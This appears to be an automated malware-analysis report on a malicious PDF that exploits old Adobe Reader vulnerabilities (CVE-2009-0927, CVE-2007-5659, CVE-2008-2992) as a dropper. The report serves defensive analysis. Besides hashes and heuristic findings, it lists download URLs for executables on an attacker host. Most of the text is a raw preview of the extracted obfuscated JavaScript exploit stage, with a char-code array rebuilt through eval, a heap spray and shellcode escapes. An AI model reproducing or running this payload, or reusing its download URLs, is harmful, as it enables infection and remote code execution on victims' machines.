PDF malware analysis — malicious · ec53482f5db6ea6a

MALICIOUS

PDF

12.3 KB Created: 2009-10-31 19:43:97 Authoring application: PDF Library 8.10.8 (via PDF Library 8.1.9) First seen: 2012-07-12

MD5: 0ec4fb1f248b2e1d2b7ff5ce121ecc32 SHA-1: c285f8995baf4b59dca4659e12a80e07953bdd04 SHA-256: ec53482f5db6ea6a048728cf5159db7880bc3fa0fee1f16694edd8057878815d

590 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.001 PowerShell

This PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates it is designed to download and execute a second-stage payload, as evidenced by the ClamAV detection of 'Js.Exploit.Shellcode-18' in an extracted artifact. The primary function appears to be acting as a dropper for further malicious activity.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Dropper.Agent-7320437-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Dropper.Agent-7320437-0
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://suqiwyk.cn/a12/dijuw2.exe Referenced by PDF JavaScript
- http://suqiwyk.cn/a12/click.php?r=Referenced by PDF JavaScript
- http://suqiwyk.cn/a12/aeuxy2.exeReferenced by PDF JavaScript
- http://suqiwyk.cn/a12/anopqt2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x268	37829 bytes
SHA-256: `830239e753e616e7afeae531f999cc4f289aa9f95bb66868f4e93eecd05ae350`
Preview script First 1,000 lines of the extracted script var dkpvy=true;ahpvwy=41397;ghmns="";eisu=17257;imptuw=41913;bepu="";matz=15835;fhmt=true;achmpu=29222;ifzeuw=false;bejnqu='';itvw=32531;var cfry="cfry",evwy=9514,hprw=true,abcuy='',jlrst=true,dnpw=String,zpbj=String,fgprs="62",bfgt=0,jksw="",cfgory=dnpw['eovTaTlo'.replace(/[ormET]/g,'')],monez=[67,60,63,152,171,160,153,166,159,161,164,82,156,155,174,145,159,166,94,171,151,164,169,162,98,82,162,151,164,91,177,63,64,59,63,169,158,155,162,151,86,90,175,147,168,165,166,96,162,151,164,153,170,154,86,92,86,100,86,110,86,158,155,160,95,173,67,60,63,59,63,171,151,164,169,162,86,93,115,82,175,147,168,165,166,109,67,60,63,59,179,63,64,59,63,171,151,164,169,162,86,111,86,171,151,164,169,162,100,165,171,148,169,166,168,155,164,153,94,98,98,82,162,151,164,97,104,91,113,63,64,59,63,164,155,166,171,164,164,82,175,147,168,165,166,109,67,60,63,175,67,60,67,60,63,152,171,160,153,166,159,161,164,82,171,166,159,158,149,162,168,155,164,166,156,90,95,173,67,60,63,59,172,147,168,82,166,147,175,158,165,147,154,82,115,82,171,160,155,165,153,147,166,151,94,84,91,167,123,116,123,107,91,167,102,98,102,99,91,167,107,104,102,98,91,167,119,99,108,102,91,167,102,98,105,98,91,167,102,98,102,98,91,167,106,98,110,116,91,167,110,116,102,117,91,167,103,117,109,98,91,167,110,116,119,118,91,167,102,106,106,98,91,167,121,101,107,119,91,167,110,116,107,103,91,167,110,116,123,117,91,167,102,106,106,103,91,167,105,101,107,100,91,167,121,99,122,100,91,167,102,101,121,100,91,167,103,98,105,100,91,167,110,98,106,98,91,167,102,98,105,106,91,167,124,103,109,103,91,167,121,100,110,116,91,167,107,118,107,115,91,167,102,102,121,100,91,167,107,103,102,98,91,167,123,117,110,116,91,167,107,99,107,99,91,167,107,104,107,101,91,167,108,98,107,105,91,167,107,118,110,116,91,167,105,101,102,106,91,167,110,116,121,98,91,167,102,117,109,103,91,167,124,119,110,116,91,167,109,104,102,101,91,167,110,116,105,117,91,167,109,106,106,119,91,167,121,120,102,101,91,167,107,99,110,116,91,167,107,100,103,117,91,167,107,99,110,116,91,167,107,100,104,102,91,167,109,99,110,116,91,167,106,119,103,102,91,167,109,103,110,107,91,167,110,116,124,117,91,167,104,98,109,99,91,167,124,105,102,101,91,167,106,115,111,107,91,167,106,100,119,118,91,167,105,116,108,98,91,167,124,117,107,103,91,167,102,102,109,103,91,167,121,98,105,101,91,167,105,105,123,116,91,167,124,120,105,101,91,167,106,103,102,101,91,167,111,105,102,117,91,167,121,120,110,116,91,167,109,103,119,119,91,167,104,116,124,118,91,167,106,120,124,107,91,167,123,106,107,99,91,167,124,120,111,102,91,167,124,120,124,120,91,167,121,101,105,116,91,167,109,102,108,99,91,167,123,116,102,100,91,167,110,116,122,107,91,167,102,117,106,103,91,167,107,119,111,100,91,167,124,100,102,101,91,167,123,98,122,99,91,167,121,104,102,101,91,167,121,107,105,101,91,167,120,105,102,120,91,167,107,120,102,106,91,167,123,99,121,99,91,167,102,101,102,100,91,167,102,101,121,115,91,167,110,116,121,120,91,167,102,101,102,99,91,167,110,107,121,100,91,167,124,106,106,103,91,167,110,116,108,99,91,167,124,106,106,103,91,167,107,119,107,120,91,167,121,107,107,116,91,167,107,103,121,101,91,167,123,117,110,116,91,167,123,106,107,99,91,167,124,120,106,107,91,167,124,120,124,120,91,167,108,106,107,98,91,167,108,98,123,106,91,167,102,102,120,120,91,167,108,117,123,106,91,167,124,120,124,120,91,167,105,101,124,120,91,167,107,100,122,100,91,167,124,120,107,100,91,167,102,106,109,103,91,167,122,98,124,120,91,167,106,103,110,107,91,167,110,116,124,117,91,167,124,117,106,103,91,167,121,101,121,107,91,167,110,116,107,103,91,167,110,101,123,117,91,167,102,117,123,117,91,167,106,103,110,118,91,167,107,98,124,102,91,167,106,103,121,104,91,167,109,103,124,102,91,167,106,103,121,104,91,167,109,100,124,103,91,167,106,103,121,104,91,167,108,117,124,104,91,167,106,103,121,104,91,167,108,118,124,105,91,167,106,103,121,104,91,167,108,120,124,106,91,167,106,103,121,104,91,167,108,119,124,107,91,167,106,103,121,104,91,167,104,119,124,115,91,167,106,103,121,104,91,167,108,102,124,116,91,167,106,103,121,104,91,167,108,117,124,117,91,167,106,103,121,104,91,167,108,117,124,118,91,167,106,103,121,104,91,167,102,98,124,119,91,167,119,98,123,106,91,167,124,120,124,120,91,167,107,98,124,120,91,167,107,118,108,106,91,167,103,99,110,115,91,167,123,106,103,104,91,167,124,120,103,103,91,167,124,120,124,120,91,167,121,102,110,101,91,167,110,103,102,117,91,167,109,102,121,98,91,167,108,115,103,103,91,167,108,115,102,98,91,167,124,120,102,98,91,167,102,117,109,103,91,167,109,103,124,120,91,167,108,115,102,106,91,167,124,120,102,98,91,167,110,103,122,98,91,167,109,103,121,98,91,167,106,98,102,101,91,167,121,101,121,107,91,167,121,98,105,101,91,167,121,101,121,107,91,167,105,101,107,105,91,167,110,116,121,98,91,167,104,102,106,117,91,167,110,116,102,117,91,167,104,102,109,117,91,167,124,117,102,106,91,167,119,115,124,101,91,167,121,101,107,120,91,167,106,117,110,116,91,167,102,102,104,102,91,167,105,107,110,98,91,167,110,116,102,98,91,167,109,102,121,99,91,167,106,98,102,104,91,167,105,106,110,98,91,167,109,103,102,98,91,167,104,116,124,115,91,167,121,101,121,99,91,167,110,116,107,103,91,167,110,101,123,117,91,167,108,102,123,117,91,167,110,118,107,101,91,167,124,98,106,103,91,167,105,101,107,105,91,167,107,98,122,116,91,167,106,103,121,104,91,167,108,116,124,98,91,167,106,103,121,104,91,167,108,103,124,99,91,167,106,103,121,104,91,167,109,100,124,100,91,167,106,103,121,104,91,167,108,119,124,101,91,167,106,103,121,104,91,167,108,103,124,102,91,167,106,103,121,104,91,167,108,117,124,103,91,167,106,103,121,104,91,167,105,101,124,104,91,167,106,103,121,104,91,167,105,100,124,105,91,167,106,103,121,104,91,167,104,119,124,106,91,167,106,103,121,104,91,167,108,102,124,107,91,167,106,103,121,104,91,167,108,117,124,115,91,167,106,103,121,104,91,167,108,117,124,116,91,167,107,118,110,106,91,167,123,106,124,117,91,167,124,120,102,116,91,167,124,120,124,120,91,167,108,106,107,98,91,167,106,101,108,106,91,167,110,119,124,107,91,167,110,98,123,106,91,167,124,120,124,119,91,167,110,116,124,120,91,167,110,118,124,106,91,167,111,117,106,103,91,167,106,102,108,115,91,167,123,106,107,98,91,167,124,120,109,119,91,167,124,120,124,120,91,167,106,103,110,118,91,167,108,115,123,98,91,167,107,98,103,98,91,167,109,101,123,106,91,167,124,120,124,120,91,167,110,101,124,120,91,167,103,117,121,102,91,167,106,103,110,118,91,167,107,98,123,98,91,167,106,103,110,118,91,167,107,98,111,117,91,167,107,101,107,101,91,167,107,101,107,101,91,167,107,101,107,101,91,167,109,103,124,120,91,167,121,105,102,106,91,167,111,117,106,103,91,167,102,98,106,102,91,167,102,98,102,98,91,167,124,120,107,101,91,167,107,120,122,105,91,167,120,104,102,120,91,167,107,116,121,98,91,167,121,101,121,107,91,167,110,116,107,103,91,167,107,99,123,117,91,167,107,101,107,99,91,167,107,105,107,104,91,167,106,100,108,115,91,167,109,100,123,106,91,167,102,98,102,98,91,167,110,116,102,98,91,167,105,101,122,106,91,167,110,103,124,104,91,167,107,107,122,116,91,167,106,103,121,105,91,167,108,99,124,106,91,167,108,103,104,119,91,167,121,105,109,106,91,167,124,117,106,103,91,167,102,98,108,103,91,167,102,98,102,98,91,167,107,104,109,119,91,167,106,103,110,118,91,167,107,98,124,106,91,167,123,106,107,104,91,167,102,98,107,99,91,167,102,98,102,98,91,167,107,98,107,107,91,167,120,99,123,106,91,167,124,120,124,119,91,167,110,103,124,120,91,167,107,107,121,98,91,167,109,102,107,107,91,167,110,118,105,107,91,167,102,99,106,104,91,167,123,106,107,98,91,167,102,98,105,116,91,167,102,98,102,98,91,167,124,106,110,116,91,167,106,103,110,118,91,167,107,98,124,106,91,167,104,99,123,106,91,167,124,120,124,120,91,167,110,103,124,120,91,167,107,107,121,98,91,167,109,102,107,107,91,167,107,105,102,117,91,167,102,99,123,106,91,167,124,120,124,120,91,167,107,107,124,120,91,167,106,102,121,104,91,167,124,120,105,106,91,167,107,98,109,101,91,167,106,103,110,118,91,167,124,119,124,106,91,167,107,106,102,98,91,167,106,103,110,118,91,167,107,98,124,106,91,167,123,106,107,105,91,167,124,119,109,102,91,167,124,120,124,120,91,167,107,107,107,107,91,167,106,104,106,104,91,167,124,101,105,116,91,167,119,115,109,117,91,167,107,119,107,120,91,167,121,107,107,116,91,167,107,103,121,101,91,167,123,117,110,116,91,167,107,101,107,99,91,167,108,98,108,104,91,167,105,100,120,99,91,167,102,98,123,106,91,167,102,98,102,98,91,167,107,106,102,98,91,167,102,106,105,106,91,167,102,101,109,102,91,167,123,116,106,98,91,167,106,98,124,107,91,167,107,118,110,116,91,167,110,98,102,106,91,167,106,100,124,116,91,167,102,106,109,103,91,167,122,116,105,101,91,167,103,106,110,115,91,167,121,101,110,116,91,167,103,105,123,116,91,167,103,106,105,106,91,167,103,99,109,104,91,167,105,101,106,98,91,167,110,102,121,107,91,167,109,102,122,116,91,167,106,98,102,117,91,167,102,106,105,106,91,167,124,116,109,103,91,167,124,119,106,98,91,167,123,116,121,116,91,167,105,101,124,100,91,167,110,107,121,98,91,167,124,117,106,103,91,167,106,103,110,116,91,167,107,116,124,117,91,167,121,101,121,107,91,167,102,100,105,100,91,167,109,102,108,106,91,167,109,98,109,102,91,167,104,120,105,115,91,167,109,101,104,120,91,167,109,99,109,103,91,167,109,105,108,107,91,167,108,116,109,107,91,167,108,101,104,119,91,167,104,120,108,119,91,167,105,99,108,99,91,167,104,120,105,100,91,167,108,107,108,102,91,167,109,103,108,115,91,167,105,100,109,105,91,167,108,103,104,119,91,167,108,103,109,106,91,167,108,106,102,98,91,167,109,102,109,102,91,167,105,115,109,98,91,167,104,120,104,120,91,167,109,103,109,101,91,167,108,107,109,99,91,167,109,107,109,105,91,167,104,119,108,116,91,167,108,119,108,101,91,167,108,99,104,120,91,167,105,100,105,99,91,167,108,101,104,120,91,167,108,107,108,117,91,167,108,116,108,101,91,167,109,98,104,119,91,167,109,98,108,106,91,167,109,100,105,120,91,167,102,98,105,118,88,91,113,63,64,59,63,168,151,164,86,160,165,162,86,111,86,167,164,151,169,149,151,162,155,90,88,87,171,98,119,98,119,87,171,98,119,98,119,87,171,98,119,98,119,87,171,98,119,98,119,84,95,63,64,59,63,168,151,164,86,154,155,147,166,148,162,161,153,157,86,111,86,160,165,162,86,93,86,162,151,171,162,161,151,150,113,63,64,59,63,168,151,164,86,148,159,153,152,158,165,149,161,82,115,82,171,160,155,165,153,147,166,151,94,84,91,167,102,115,102,115,91,167,102,115,102,115,88,91,113,63,64,59,63,168,151,164,86,154,155,147,154,151,168,165,159,172,155,82,115,82,104,98,113,63,64,59,63,168,151,164,86,165,166,164,151,171,86,111,86,154,155,147,154,151,168,165,159,172,155,82,97,82,158,151,151,162,152,158,165,149,161,96,162,151,164,153,170,154,113,63,64,59,63,169,158,155,162,151,86,90,152,155,157,148,162,161,153,157,100,158,155,160,157,166,158,82,114,82,169,162,168,147,175,91,177,63,64,59,63,59,152,155,157,148,162,161,153,157,86,93,115,82,152,155,157,148,162,161,153,157,113,63,64,59,63,175,67,60,63,59,172,147,168,82,156,155,162,158,152,158,165,149,161,82,115,82,152,155,157,148,162,161,153,157,100,165,171,148,169,166,168,155,164,153,94,98,98,82,169,162,168,147,175,91,113,63,64,59,63,168,151,164,86,148,162,161,153,157,86,111,86,148,159,153,152,158,165,149,161,96,169,167,152,165,170,164,159,160,157,90,102,94,86,148,159,153,152,158,165,149,161,96,162,151,164,153,170,154,99,165,166,164,151,171,95,109,67,60,63,59,173,154,159,158,155,82,94,148,162,161,153,157,100,158,155,160,157,166,158,93,169,162,168,147,175,82,114,82,102,170,106,98,102,98,102,91,177,63,64,59,63,59,152,158,165,149,161,82,115,82,152,158,165,149,161,82,97,82,152,158,165,149,161,82,97,82,156,155,162,158,152,158,165,149,161,109,67,60,63,59,179,63,64,59,63,168,151,164,86,159,155,159,149,147,168,164,151,171,86,111,86,160,155,169,86,115,168,164,151,171,94,91,113,63,64,59,63,152,165,164,86,90,172,147,168,82,159,82,115,82,102,109,86,155,86,110,86,99,106,98,102,109,86,155,97,93,95,173,67,60,63,59,63,159,155,159,149,147,168,164,151,171,145,155,147,82,115,82,152,158,165,149,161,82,97,82,158,151,151,162,152,158,165,149,161,109,67,60,63,59,179,63,64,59,63,168,151,164,86,160,171,159,86,111,86,99,104,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,109,67,60,63,59,171,166,159,158,100,162,168,155,164,166,156,90,88,87,106,103,102,98,102,152,88,94,86,160,171,159,95,109,67,60,63,175,67,60,67,60,63,152,171,160,153,166,159,161,164,82,153,161,162,158,151,148,149,151,163,147,159,158,94,91,177,63,64,59,63,168,151,164,86,165,158,151,162,158,153,161,154,151,86,111,86,167,164,151,169,149,151,162,155,90,88,87,171,119,120,119,111,87,171,98,102,98,103,87,171,103,108,98,102,87,171,115,103,104,106,87,171,98,102,101,102,87,171,98,102,98,102,87,171,102,102,106,120,87,171,106,120,98,121,87,171,99,121,105,102,87,171,106,120,115,122,87,171,98,110,102,102,87,171,117,105,103,123,87,171,106,120,103,107,87,171,106,120,119,121,87,171,98,110,102,107,87,171,101,105,103,104,87,171,117,103,118,104,87,171,98,105,117,104,87,171,99,102,101,104,87,171,106,102,102,102,87,171,98,102,101,110,87,171,120,107,105,107,87,171,117,104,106,120,87,171,103,122,103,119,87,171,98,106,117,104,87,171,103,107,98,102,87,171,119,121,106,120,87,171,103,103,103,103,87,171,103,108,103,105,87,171,104,102,103,109,87,171,103,122,106,120,87,171,101,105,98,110,87,171,106,120,117,102,87,171,98,121,105,107,87,171,120,123,106,120,87,171,105,108,98,105,87,171,106,120,101,121,87,171,105,110,102,123,87,171,117,124,98,105,87,171,103,103,106,120,87,171,103,104,99,121,87,171,103,103,106,120,87,171,103,104,100,106,87,171,105,103,106,120,87,171,102,123,99,106,87,171,105,107,106,111,87,171,106,120,120,121,87,171,100,102,105,103,87,171,120,109,98,105,87,171,102,119,107,111,87,171,102,104,115,122,87,171,101,120,104,102,87,171,120,121,103,107,87,171,98,106,105,107,87,171,117,102,101,105,87,171,101,109,119,120,87,171,120,124,101,105,87,171,102,107,98,105,87,171,107,109,98,121,87,171,117,124,106,120,87,171,105,107,115,123,87,171,100,120,120,122,87,171,102,124,120,111,87,171,119,110,103,103,87,171,120,124,107,106,87,171,120,124,120,124,87,171,117,105,101,120,87,171,105,106,104,103,87,171,119,120,98,104,87,171,106,120,118,111,87,171,98,121,102,107,87,171,103,123,107,104,87,171,120,104,98,105,87,171,119,102,118,103,87,171,117,108,98,105,87,171,117,111,101,105,87,171,116,109,98,124,87,171,103,124,98,110,87,171,119,103,117,103,87,171,98,105,98,104,87,171,98,105,117,119,87,171,106,120,117,124,87,171,98,105,98,103,87,171,106,111,117,104,87,171,120,110,102,107,87,171,106,120,104,103,87,171,120,110,102,107,87,171,103,123,103,124,87,171,117,111,103,120,87,171,103,107,117,105,87,171,119,121,106,120,87,171,119,110,103,103,87,171,120,124,102,111,87,171,120,124,120,124,87,171,104,110,103,102,87,171,104,102,119,110,87,171,98,106,116,124,87,171,104,121,119,110,87,171,120,124,120,124,87,171,101,105,120,124,87,171,103,104,118,104,87,171,120,124,103,104,87,171,98,110,105,107,87,171,118,102,120,124,87,171,102,107,106,111,87,171,106,120,120,121,87,171,120,121,102,107,87,171,117,105,117,111,87,171,106,120,103,107,87,171,106,105,119,121,87,171,98,121,119,121,87,171,102,107,106,122,87,171,103,102,120,106,87,171,102,107,117,108,87,171,105,107,120,106,87,171,102,107,117,108,87,171,105,104,120,107,87,171,102,107,117,108,87,171,104,121,120,108,87,171,102,107,117,108,87,171,104,122,120,109,87,171,102,107,117,108,87,171,104,124,120,110,87,171,102,107,117,108,87,171,104,123,120,111,87,171,102,107,117,108,87,171,100,123,120,119,87,171,102,107,117,108,87,171,104,106,120,120,87,171,102,107,117,108,87,171,104,121,120,121,87,171,102,107,117,108,87,171,104,121,120,122,87,171,102,107,117,108,87,171,98,102,120,123,87,171,115,102,119,110,87,171,120,124,120,124,87,171,103,102,120,124,87,171,103,122,104,110,87,171,99,103,106,119,87,171,119,110,99,108,87,171,120,124,99,107,87,171,120,124,120,124,87,171,117,106,106,105,87,171,106,107,98,121,87,171,105,106,117,102,87,171,104,119,99,107,87,171,104,119,98,102,87,171,120,124,98,102,87,171,98,121,105,107,87,171,105,107,120,124,87,171,104,119,98,110,87,171,120,124,98,102,87,171,106,107,118,102,87,171,105,107,117,102,87,171,102,102,98,105,87,171,117,105,117,111,87,171,117,102,101,105,87,171,117,105,117,111,87,171,101,105,103,109,87,171,106,120,117,102,87,171,100,106,102,121,87,171,106,120,98,121,87,171,100,106,105,121,87,171,120,121,98,110,87,171,115,119,120,105,87,171,117,105,103,124,87,171,102,121,106,120,87,171,98,106,100,106,87,171,101,111,106,102,87,171,106,120,98,102,87,171,105,106,117,103,87,171,102,102,98,108,87,171,101,110,106,102,87,171,105,107,98,102,87,171,100,120,120,119,87,171,117,105,117,103,87,171,106,120,103,107,87,171,106,105,119,121,87,171,104,106,119,121,87,171,106,122,103,105,87,171,120,102,102,107,87,171,101,105,103,109,87,171,103,102,118,120,87,171,102,107,117,108,87,171,104,120,120,102,87,171,102,107,117,108,87,171,104,107,120,103,87,171,102,107,117,108,87,171,105,104,120,104,87,171,102,107,117,108,87,171,104,123,120,105,87,171,102,107,117,108,87,171,104,107,120,106,87,171,102,107,117,108,87,171,104,121,120,107,87,171,102,107,117,108,87,171,101,105,120,108,87,171,102,107,117,108,87,171,101,104,120,109,87,171,102,107,117,108,87,171,100,123,120,110,87,171,102,107,117,108,87,171,104,106,120,111,87,171,102,107,117,108,87,171,104,121,120,119,87,171,102,107,117,108,87,171,104,121,120,120,87,171,103,122,106,110,87,171,119,110,120,121,87,171,120,124,98,120,87,171,120,124,120,124,87,171,104,110,103,102,87,171,102,105,104,110,87,171,106,123,120,111,87,171,106,102,119,110,87,171,120,124,120,123,87,171,106,120,120,124,87,171,106,122,120,110,87,171,107,121,102,107,87,171,102,106,104,119,87,171,119,110,103,102,87,171,120,124,105,123,87,171,120,124,120,124,87,171,102,107,106,122,87,171,104,119,119,102,87,171,103,102,99,102,87,171,105,105,119,110,87,171,120,124,120,124,87,171,106,105,120,124,87,171,99,121,117,106,87,171,102,107,106,122,87,171,103,102,119,102,87,171,102,107,106,122,87,171,103,102,107,121,87,171,103,105,103,105,87,171,103,105,103,105,87,171,103,105,103,105,87,171,105,107,120,124,87,171,117,109,98,110,87,171,107,121,102,107,87,171,98,102,102,106,87,171,98,102,98,102,87,171,120,124,103,105,87,171,103,124,118,109,87,171,116,108,98,124,87,171,103,120,117,102,87,171,117,105,117,111,87,171,106,120,103,107,87,171,103,103,119,121,87,171,103,105,103,103,87,171,103,109,103,108,87,171,102,104,104,119,87,171,105,104,119,110,87,171,98,102,98,102,87,171,106,120,98,102,87,171,101,105,118,110,87,171,106,107,120,108,87,171,103,111,118,120,87,171,102,107,117,109,87,171,104,103,120,110,87,171,104,107,100,123,87,171,117,109,105,110,87,171,120,121,102,107,87,171,98,102,104,107,87,171,98,102,98,102,87,171,103,108,105,123,87,171,102,107,106,122,87,171,103,102,120,110,87,171,119,110,103,108,87,171,98,102,103,103,87,171,98,102,98,102,87,171,103,102,103,111,87,171,116,103,119,110,87,171,120,124,120,123,87,171,106,107,120,124,87,171,103,111,117,102,87,171,105,106,103,111,87,171,106,122,101,111,87,171,98,103,102,108,87,171,119,110,103,102,87,171,98,102,101,120,87,171,98,102,98,102,87,171,120,110,106,120,87,171,102,107,106,122,87,171,103,102,120,110,87,171,100,103,119,110,87,171,120,124,120,124,87,171,106,107,120,124,87,171,103,111,117,102,87,171,105,106,103,111,87,171,103,109,98,121,87,171,98,103,119,110,87,171,120,124,120,124,87,171,103,111,120,124,87,171,102,106,117,108,87,171,120,124,101,110,87,171,103,102,105,105,87,171,102,107,106,122,87,171,120,123,120,110,87,171,103,110,98,102,87,171,102,107,106,122,87,171,103,102,120,110,87,171,119,110,103,109,87,171,120,123,105,106,87,171,120,124,120,124,87,171,103,111,103,111,87,171,102,108,102,108,87,171,120,105,101,120,87,171,115,119,105,121,87,171,103,123,103,124,87,171,117,111,103,120,87,171,103,107,117,105,87,171,119,121,106,120,87,171,103,105,103,103,87,171,104,102,104,108,87,171,101,104,116,103,87,171,98,102,119,110,87,171,98,102,98,102,87,171,103,110,98,102,87,171,98,110,101,110,87,171,98,105,105,106,87,171,119,120,102,102,87,171,102,102,120,111,87,171,103,122,106,120,87,171,106,102,98,110,87,171,102,104,120,120,87,171,98,110,105,107,87,171,118,120,101,105,87,171,99,110,106,119,87,171,117,105,106,120,87,171,99,109,119,120,87,171,99,110,101,110,87,171,99,103,105,108,87,171,101,105,102,102,87,171,106,106,117,111,87,171,105,106,118,120,87,171,102,102,98,121,87,171,98,110,101,110,87,171,120,120,105,107,87,171,120,123,102,102,87,171,119,120,117,120,87,171,101,105,120,104,87,171,106,111,117,102,87,171,120,121,102,107,87,171,102,107,106,120,87,171,103,120,120,121,87,171,117,105,117,111,87,171,98,104,101,104,87,171,105,106,104,110,87,171,105,102,105,106,87,171,100,124,101,119,87,171,105,105,100,124,87,171,105,103,105,107,87,171,105,109,104,111,87,171,104,120,105,111,87,171,104,105,100,123,87,171,100,124,104,123,87,171,101,103,104,103,87,171,100,124,101,104,87,171,104,107,104,103,87,171,105,110,105,107,87,171,101,104,105,111,87,171,104,107,100,123,87,171,104,107,105,110,87,171,104,110,98,102,87,171,105,106,105,106,87,171,101,119,105,102,87,171,100,124,100,124,87,171,105,107,105,105,87,171,104,111,105,103,87,171,105,111,105,109,87,171,100,123,104,120,87,171,104,123,104,105,87,171,104,103,100,124,87,171,101,104,101,103,87,171,104,105,100,124,87,171,104,111,104,121,87,171,104,120,104,105,87,171,105,102,100,123,87,171,105,102,104,110,87,171,105,104,101,124,87,171,98,102,101,122,84,95,109,67,60,63,59,172,147,168,82,163,151,163,145,151,164,168,147,175,82,115,82,164,151,173,82,119,164,168,147,175,90,95,109,67,60,63,59,172,147,168,82,153,149,86,111,86,98,174,98,153,98,153,98,153,98,153,109,67,60,63,59,172,147,168,82,151,150,154,164,86,111,86,98,174,102,102,98,102,98,102,109,67,60,63,59,172,147,168,82,169,149,149,158,155,160,86,111,86,165,158,151,162,158,153,161,154,151,100,158,155,160,157,166,158,82,96,82,104,109,67,60,63,59,172,147,168,82,162,151,164,82,115,82,151,150,154,164,86,95,86,90,169,149,149,158,155,160,97,98,174,101,110,91,113,63,64,59,63,168,151,164,86,171,151,164,169,162,86,111,86,167,164,151,169,149,151,162,155,90,88,87,171,107,102,107,102,87,171,107,102,107,102,84,95,109,67,60,63,59,175,147,168,165,166,82,115,82,156,155,174,145,159,166,94,171,151,164,169,162,98,82,162,151,164,91,113,63,64,59,63,168,151,164,86,149,165,167,164,166,104,82,115,82,94,149,153,82,99,82,102,170,106,98,102,98,102,98,95,97,151,150,154,164,113,63,64,59,63,152,165,164,86,90,172,147,168,82,153,161,171,160,170,82,115,82,102,109,86,149,165,167,164,166,86,110,86,149,165,167,164,166,104,109,86,149,165,167,164,166,97,93,95,173,67,60,63,59,63,159,155,159,149,147,168,164,151,171,145,149,165,167,164,166,147,82,115,82,175,147,168,165,166,82,97,82,169,154,155,158,162,149,165,150,155,109,67,60,63,59,179,63,64,59,63,168,151,164,86,161,172,151,168,152,162,161,173,82,115,82,171,160,155,165,153,147,166,151,94,84,91,167,102,149,102,149,91,